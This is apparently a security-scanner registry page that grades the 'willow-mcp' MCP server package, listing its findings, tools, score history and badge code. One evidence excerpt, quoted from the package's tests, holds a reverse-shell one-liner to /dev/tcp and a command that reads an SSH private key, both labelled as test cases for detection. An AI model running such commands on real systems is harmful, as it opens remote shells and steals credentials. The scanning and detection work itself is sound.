Willow MCP Server

willow-mcp PyPI v2.24.3

Published by willow-memory — no publish provenance, so origin is unverified, but the source is public: the repository link below is self-declared yet readable, so you can inspect the code before adopting it.

Agent-neutral MCP server — SQLite store, Postgres knowledge base, Kart task queue

Trust grade
A
93/100
Last scanned get badge →
Trust
A · 93/100
Adoption risk for you: the threat score, then adjusted down for blast radius, publisher verification and how much the scan could see. Deterministic; every point is auditable.
Capability
High
Blast radius if it went rogue — what the server’s tools could reach. Independent of trust.
Coverage
Source
How much the scan could actually inspect. Shallow coverage is stated, never hidden.
Share this Trust Score
𝕏 Share LinkedIn Reddit
A Why this grade threat 100 − adoption risk = 93/100

The grade answers one question — how safe is this server for you to adopt — so it is computed in two auditable stages. Nothing below is an opinion or an LLM's guess; every line is a real term the deterministic engine applied, and the same input always yields the same number.

1. Threat score — 100 − 0 = 100. What the published surface and source actually contain:

The deterministic scan raised no scored threat in the surface it inspected — the threat score stayed at 100. Capability observations and advisory notes are recorded but never lower it.

2. Client adoption risk — 100 − 7 = 93. Three small, subtract-only factors that reflect your risk in adopting it — a clean scan proves less on a powerful, unverified or barely-inspectable package, so the grade says so plainly:

PointsAdoption-risk factor
−6 capability blast radius (high) — client exposure if the model is manipulated
−1 publisher verification (public source) — no provenance, but the source is public and inspectable

Capability observations and info notes are shown under Findings but never scored. Open any row's finding below for the file, line and evidence behind a deduction.

Findings 15

high Sensitive-source and external-sink co-existMTC-FLOW-004

Tools that read sensitive data ([mai_read_file, mai_get_env]) and tools that can send data out ([grove_send_message]) are exposed together. An agent can move private data to the sink.

Evidence: sources [mai_read_file, mai_get_env] → sinks [grove_send_message]

Fix: Keep secret-reading and egress capabilities on separate, separately-approved servers.

Location: flow mai_read_file → grove_send_message

high Shell/command execution in server code (src/willow_mcp/meter.py)MTC-SRC-002

In the server's implementation (`src/willow_mcp/meter.py:92`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ne try: r = subprocess.run( ["nvidia-smi", f"--query-gpu={field}", "--format=csv,noheader,nounit

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/willow_mcp/meter.py

high Shell/command execution in server code (src/willow_mcp/pgp.py)MTC-SRC-002

In the server's implementation (`src/willow_mcp/pgp.py:46`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: }.sig" try: subprocess.run( [ "gpg", "--batch",

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/willow_mcp/pgp.py

high Shell/command execution in server code (src/willow_mcp/postgres_lifecycle.py)MTC-SRC-002

In the server's implementation (`src/willow_mcp/postgres_lifecycle.py:28`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: try: proc = subprocess.run( ["pg_isready", "-q"], capture_output=True, t

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/willow_mcp/postgres_lifecycle.py

high Shell/command execution in server code (src/willow_mcp/repo_sweep.py)MTC-SRC-002

In the server's implementation (`src/willow_mcp/repo_sweep.py:53`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: str) -> str: proc = subprocess.run( ["git", "-C", str(repo), *args], capture_output=True, text=True,

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/willow_mcp/repo_sweep.py

medium Hardcoded egress to an external endpoint (src/willow_mcp/oauth.py)MTC-SRC-003

In the server's implementation (`src/willow_mcp/oauth.py:326`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: _JWKS_CACHE[1] with urllib.request.urlopen("https://appleid.apple.com/auth/keys", timeout=10) as resp: # nosec B310

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/willow_mcp/oauth.py

medium Tool "mai_write_file" can modify the filesystemMTC-CAP-002

Tool "mai_write_file" can write, overwrite or delete files (keyword "write_file" in tool name). Verify it is scoped to a safe directory.

Fix: Constrain file operations to an explicit, non-sensitive root; reject path traversal.

Location: tool mai_write_file

low Reads a sensitive credential path or dumps the environment in packaging/dev tooling (tests/test_server.py)MTC-SRC-006

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_server.py:914`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ive"), ("cat ~/.ssh/id_rsa", "secret_access"), ("bash -i >& /dev/tcp/10.0.0.1/9 0>&1", "exfiltration"), (":(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_server.py

low Mutating tool "mai_write_file" declares no destructiveHintMTC-CAP-005

Tool "mai_write_file" can mutate/egress but declares no destructiveHint. Clients that don't default to spec-safe behavior may not prompt before running it.

Fix: Declare accurate annotations, and gate destructive tools on user confirmation regardless.

Location: tool mai_write_file

low Shell/command execution in packaging/dev tooling (docs/repatriation/engine/build_holdings.py)MTC-SRC-002

In a packaging/dev/install script (shipped, but not the server runtime) (`docs/repatriation/engine/build_holdings.py:17`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ath): return None r=subprocess.run(["du","-sh",path],capture_output=True,text=True) return r.stdout.split()[0] i

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server docs/repatriation/engine/build_holdings.py

low Shell/command execution in packaging/dev tooling (docs/repatriation/engine/extract_pieces.py)MTC-SRC-002

In a packaging/dev/install script (shipped, but not the server runtime) (`docs/repatriation/engine/extract_pieces.py:15`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ect, cypher): out = subprocess.run([CBM, "cli", "query_graph", json.dumps({"project": proj

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server docs/repatriation/engine/extract_pieces.py

low Shell/command execution in packaging/dev tooling (docs/repatriation/engine/materialize_toolkit.py)MTC-SRC-002

In a packaging/dev/install script (shipped, but not the server runtime) (`docs/repatriation/engine/materialize_toolkit.py:34`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: e("/tmp/_tk") r=subprocess.run(["curl","-sSL","--max-time","30","-w","%{http_code}","-o","/tmp/_tk",url],

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server docs/repatriation/engine/materialize_toolkit.py

low Shell/command execution in packaging/dev tooling (docs/repatriation/engine/mcpdrive.py)MTC-SRC-002

In a packaging/dev/install script (shipped, but not the server runtime) (`docs/repatriation/engine/mcpdrive.py:12`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: None): self.p = subprocess.Popen( cmd, shell=True, cwd=cwd, stdin=subprocess.PIPE, stdou

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server docs/repatriation/engine/mcpdrive.py

low Shell/command execution in packaging/dev tooling (scripts/ratification/pick_and_check.py)MTC-SRC-002

In a packaging/dev/install script (shipped, but not the server runtime) (`scripts/ratification/pick_and_check.py:4`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ) def pg(q): return subprocess.run(["psql","-d","willow_both","-tAc",q], capture_output=Tr

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server scripts/ratification/pick_and_check.py

low Shell/command execution in packaging/dev tooling (scripts/vendor_drift.py)MTC-SRC-002

In a packaging/dev/install script (shipped, but not the server runtime) (`scripts/vendor_drift.py:64`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: r: try: p = subprocess.run( ["git", "-C", str(repo), *args], capture_output=True, te

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server scripts/vendor_drift.py

Tools 32

Each tool and what it can reach — statically extracted from the published source.

  • grove_send_messagenetwork egress
  • mai_get_envreads sensitive data
  • mai_read_filereads sensitive data
  • mai_write_filewrites files
  • diagnostic_summaryno sensitive capability
  • grove_ackno sensitive capability
  • grove_agentsno sensitive capability
  • grove_bus_receiveno sensitive capability
  • grove_bus_sendno sensitive capability
  • grove_flagno sensitive capability
Show 22 more tools ↓
  • grove_flaggedno sensitive capability
  • grove_fleet_statusno sensitive capability
  • grove_get_historyno sensitive capability
  • grove_get_identityno sensitive capability
  • grove_get_threadno sensitive capability
  • grove_heartbeatno sensitive capability
  • grove_human_requiredno sensitive capability
  • grove_inboxno sensitive capability
  • grove_list_channelsno sensitive capability
  • grove_replyno sensitive capability
  • grove_searchno sensitive capability
  • grove_unflagno sensitive capability
  • grove_watchno sensitive capability
  • grove_watch_allno sensitive capability
  • mai_call_macrono sensitive capability
  • mai_execute_directiveno sensitive capability
  • mai_get_constraintsno sensitive capability
  • mai_invalidate_cacheno sensitive capability
  • mai_list_phasesno sensitive capability
  • mai_next_phaseno sensitive capability
  • mai_resolve_phaseno sensitive capability
  • whoamino sensitive capability

Toxic flows 1

Cross-tool combinations that form a data-exfiltration primitive (untrusted input → sensitive source → external sink).

What this scan could not see

Versions 10

Scan history per published version. The engine is deterministic — the same version always yields the same score, so a changed score means the package itself changed.

VersionScoreFindingsEngineScanned
v2.24.3 latest A 93/100 15 1.13.0 2026-09-07
v2.24.1 A 93/100 15 1.13.0 2026-09-04
v2.19.0 A 93/100 15 1.13.0 2026-08-30
v2.18.0 A 93/100 15 1.13.0 2026-08-28
v2.17.0 A 93/100 15 1.13.0 2026-08-27
Show 5 more versions ↓
v2.14.0 A 93/100 15 1.13.0 2026-08-25
v2.13.1 A 93/100 15 1.12.1 2026-08-24
v2.13.0 A 93/100 15 1.12.1 2026-08-20
v2.11.0 A 93/100 15 1.12.1 2026-08-19
v2.10.0 A 93/100 15 1.12.1 2026-08-18

Embed this score

Show this server's live Trust Score in your README, docs or website. The badge is served straight from the registry and updates automatically after every rescan — no API key needed. It links back to this page, so anyone who sees the grade can also read the findings behind it instead of taking a number on faith.

MCP Trust Score: A · 93/100
Markdown (GitHub README)
[![MCP Trust Score](https://mcptrustchecker.com/registry/willow-mcp/badge.svg)](https://mcptrustchecker.com/registry/willow-mcp)
HTML
<a href="https://mcptrustchecker.com/registry/willow-mcp"><img src="https://mcptrustchecker.com/registry/willow-mcp/badge.svg" alt="MCP Trust Score" height="20"></a>
Prefer shields.io styling? Point it at https://mcptrustchecker.com/registry/willow-mcp/badge.json via https://img.shields.io/endpoint?url=…

Verify this score yourself

The score above is reproducible: the same package version always yields the same result. Run it locally or over the free API — no account, no LLM, fully deterministic.

npx mcptrustchecker scan willow-mcp --online --registry pypi

Use the free API → How scoring works

More in Databases